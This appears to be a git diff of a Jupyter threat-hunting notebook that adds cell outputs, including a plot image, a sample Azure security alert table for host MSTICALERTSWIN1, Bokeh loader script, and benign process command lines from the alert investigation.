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+ "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Draw a graph of this (add to entity graph)\n", "%matplotlib notebook\n", @@ -440,14 +2233,275 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 13, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:15:03.233694Z", "start_time": "2020-05-16T02:15:03.182692Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Selected alert is available as 'related_alert' variable.\n" + ] + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "b2bae846b1d5442593f76fb6e732cfbd", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(Text(value='', description='Filter alerts by title:', style=DescriptionStyle(description_width=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "

Alert: 'Security incident detected'

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TenantId52b1ab41-869e-4138-9e40-2a4457f09bf0
TimeGenerated2019-02-14 18:03:23+00:00
AlertDisplayNameSecurity incident detected
AlertNameSecurity incident detected
SeverityHigh
DescriptionThe incident which started on 2019-02-14 11:51:38 UTC and recently detected on 2019-02-14 18:03:23 UTC indicates that an attacker has abused resource in your resource MSTICALERTSWIN1
ProviderNameDetection
VendorNameMicrosoft
VendorOriginalId79f27254-e85f-4471-a061-3ea99b824495
SystemAlertId2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495
ResourceId/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1
SourceComputerId263a788b-6526-4cdc-8ed9-d79402fe4aa0
AlertTypeKillChainFusionIncident
ConfidenceLevelUnknown
ConfidenceScoreNaN
IsIncidentTrue
StartTimeUtc2019-02-14 11:51:38+00:00
EndTimeUtc2019-02-14 11:51:38+00:00
ProcessingEndTime2019-02-14 18:03:23+00:00
RemediationSteps[\\r\\n \"1. Escalate the alert to the information security team.\",\\r\\n \"2. Review the remediation steps of each one of the alerts\"\\r\\n]
ExtendedProperties{'isincident': 'true', 'Detected Time (UTC)': '2019-02-14 18:03:23 UTC', 'Incident Stage': 'abused resource in', 'Compromised Host': 'MSTICALERTSWIN1', 'Start Time (UTC)': '2019-02-14 11:51:38 UTC', 'crossvm': 'false', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'}
Entities[{'$id': '4', 'DisplayName': 'Suspicious system process executed', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'Medium', 'SystemAlertIds': ['2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a'], 'AlertType': 'SuspiciousSystemProcess', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z', 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z', 'Type': 'alerts', 'Location': 'Central US'}, {'$id': '5', 'DisplayName': 'Potential attempt to bypass AppLocker detected', 'CompromisedEntity': 'MSTICALERTSWIN1', 'Count': 2, 'Severity': 'High', 'SystemAlertIds': ['2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f'], 'AlertType': 'SCUBA_RULE_Applocker_Bypass', 'VendorName': 'Microsoft', 'ProviderName': 'Detection', 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z', 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z', 'Type': 'alerts', 'Location': 'Central US'}]
SourceSystemDetection
WorkspaceSubscriptionId40dcc8bf-0478-4f3b-b275-ed0a94f2c013
WorkspaceResourceGroupasihuntomsworkspacerg
ExtendedLinks
ProductName
ProductComponentName
AlertLink
TypeSecurityAlert
ComputerMSTICALERTSWIN1
src_hostnameMSTICALERTSWIN1
src_accountname
src_procname
host_matchTrue
acct_matchFalse
proc_matchFalse
CompromisedEntityMSTICALERTSWIN1

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0
isincidenttrue
Detected Time (UTC)2019-02-14 18:03:23 UTC
Incident Stageabused resource in
Compromised HostMSTICALERTSWIN1
Start Time (UTC)2019-02-14 11:51:38 UTC
crossvmfalse
resourceTypeVirtual Machine
ServiceId14fa08c7-c48e-4c18-950c-8148024b4398
ReportingSystemAzure
OccuringDatacentereastus

Entities:


{ 'AdditionalData': {},, 'AlertType': 'SuspiciousSystemProcess',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Suspicious system process executed',, 'EndTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'ProviderName': 'Detection',, 'Severity': 'Medium',, 'StartTimeUtc': '2019-02-14T11:51:38.4888669Z',, 'SystemAlertIds': ['2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}
{ 'AdditionalData': {},, 'AlertType': 'SCUBA_RULE_Applocker_Bypass',, 'CompromisedEntity': 'MSTICALERTSWIN1',, 'Count': 2,, 'DisplayName': 'Potential attempt to bypass AppLocker detected',, 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z',, 'ProviderName': 'Detection',, 'Severity': 'High',, 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z',, 'SystemAlertIds': ['2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f'],, 'Type': 'alerts',, 'VendorName': 'Microsoft'}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "def disp_full_alert(alert):\n", " global related_alert\n", @@ -495,7 +2549,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 14, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:15:11.683710Z", @@ -503,7 +2557,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "5579baeeb163430ea86694c1db650c6e", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "4b6f1d9f5d974382aff3e1d5bceecf3b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='23:07:57',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "9a10353b01e74bfe8f3f3c0b8694914c", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-60, 10), description='Time Range (min):', layout=Layout(width='80%'), mi…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='minute', origin_time=security_alert.origin_time)\n", @@ -512,14 +2609,437 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 15, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:18:46.782959Z", "start_time": "2020-05-16T02:18:43.483058Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "9baa15ed9a4a4c27a407756e818edb62", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(IntProgress(value=0, bar_style='info', description='Progress:'), Label(value='0%')))" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "
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\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
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i < css_urls.length; i++) {\n", + " var url = css_urls[i];\n", + " const element = document.createElement(\"link\");\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.rel = \"stylesheet\";\n", + " element.type = \"text/css\";\n", + " element.href = url;\n", + " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", + "\n", + " for (var i = 0; i < js_urls.length; i++) {\n", + " var url = js_urls[i];\n", + " var element = document.createElement('script');\n", + " element.onload = on_load;\n", + " element.onerror = on_error;\n", + " element.async = false;\n", + " element.src = url;\n", + " if (url in hashes) {\n", + " element.crossOrigin = \"anonymous\";\n", + " element.integrity = \"sha384-\" + hashes[url];\n", + " }\n", + " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", + " document.head.appendChild(element);\n", + " }\n", + " };\n", + "\n", + " function inject_raw_css(css) {\n", + " const element = document.createElement(\"style\");\n", + " element.appendChild(document.createTextNode(css));\n", + " document.body.appendChild(element);\n", + " }\n", + "\n", + " \n", + " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", + " var css_urls = [];\n", + " \n", + "\n", + " var inline_js = [\n", + " function(Bokeh) {\n", + " Bokeh.set_log_level(\"info\");\n", + " },\n", + " function(Bokeh) {\n", + " \n", + " \n", + " }\n", + " ];\n", + "\n", + " function run_inline_js() {\n", + " \n", + " if (root.Bokeh !== undefined || force === true) {\n", + " \n", + " for (var i = 0; i < inline_js.length; i++) {\n", + " inline_js[i].call(root, root.Bokeh);\n", + " }\n", + " if (force === true) {\n", + " display_loaded();\n", + " }} else if (Date.now() < root._bokeh_timeout) {\n", + " setTimeout(run_inline_js, 100);\n", + " } else if (!root._bokeh_failed_load) {\n", + " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", + " root._bokeh_failed_load = true;\n", + " } else if (force !== true) {\n", + " var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n", + " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", + " }\n", + "\n", + " }\n", + "\n", + " if (root._bokeh_is_loading === 0) {\n", + " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", + " run_inline_js();\n", + " } else {\n", + " load_libs(css_urls, js_urls, function() {\n", + " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", + " run_inline_js();\n", + " });\n", + " }\n", + "}(window));" + ], + "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1625\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1625\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + "\n", + "\n", + "\n", + "\n", + "\n", + "
\n" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "(function(root) {\n", + " function embed_document(root) {\n", + " \n", + " var docs_json = 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-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo 